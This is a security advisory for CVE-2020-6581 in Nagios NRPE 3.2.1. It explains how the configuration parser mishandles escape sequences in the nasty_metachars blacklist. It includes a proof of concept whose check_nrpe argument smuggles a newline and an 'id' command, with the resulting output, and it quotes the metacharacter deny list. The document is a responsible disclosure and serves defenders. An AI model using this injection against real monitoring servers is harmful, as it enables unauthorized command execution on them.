usd-2020-0002 (CVE-2020-6581) | Nagios NRPE v.3.2.1


Advisory ID: usd-2020-0002
CVE Number: CVE-2020-6581
Affected Product: Nagios NRPE
Affected Version: v.3.2.1
Vulnerability Type: Insufficient Filtering of Configuration file
Security Risk: Medium
Vendor URL: https://www.nagios.org/
Vendor Status: Fixed in v.4.0.0 (not verified)

Description

Insufficient Filtering and incorrect parsing of the configuration file may lead to command injection.

Prerequisites

NRPE has to be compiled with command line parameter support. Additionally, dont_blame_nrpe option inside the NRPE configuration file has to be enabled.

Proof of Concept (PoC)

If NRPE is compiled with command line parameter support and if the corresponding option is enabled inside of the NRPE configuration file, NRPE are allowed to contain additional parameters that are passed as command line parameters to the configured monitoring scripts. In order to prevent exploitation by shell meta characters like ;|&$…, NRPE implements a default blacklist of nasty meta characters:

// file: src/nrpe.c line: 74
#define NASTY_METACHARS "|`&><'\\[]{};\r\n"

The same definition of nasty meta characters can also be found in the default configuration file:

// file: /etc/nagios/nrpe.cfg line: 267 - 271
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.

# nasty_metachars="|`&><'\\[]{};\r\n"

Unfortunately, while parsing the configuration file, special characters like ‚\n‘ inside the nasty_metachars variable are interpreted literally
and loose their special meaning. E.g. ‚\n‘ will disallow the two characters ‚\‘ and ’n‘ instead of a newline.

Attack scenario: Imagine a server administrator wants also to add a wildcard (*) to the blacklist of not allowed characters. Most likely, he will
just uncomment the nasty_metachar option from the configuration file and add his desired character like this:

// file: /etc/nagios/nrpe.cfg line: 267 - 271
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.

nasty_metachars="|`&><'\\[]{};\r\n*"

Despite looking reasonable, the NRPE service is now again vulnerable to command injections, as shown in the following example:

[pentester@kali ~]$ cat /etc/nagios/nrpe.cfg | grep -E 'nasty|POC'
nasty_metachars="|`&><'\\[]{};\r\n*"
command[check_POC]=/usr/lib/nagios/plugins/check_POC $ARG1$
[pentester@kali ~]$ cat /usr/lib/nagios/plugins/check_POC
#!/bin/bash
echo "[+] POC finished"

[pentester@kali ~]$
[pentester@kali ~]$ /usr/lib/nagios/plugins/check_nrpe -n -H 127.0.0.1 -c checkPOC -a "$(echo -e "\nid")"
[+] POC finished

uid=998(nagios) gid=997(nagios) groups=997(nagios)

Fix

While parsing the nasty_metachars option of the configuration file, special characters should be interpreted correctly.

Timeline

Credits

This security vulnerability was discovered by Tobias Neitzel of usd AG.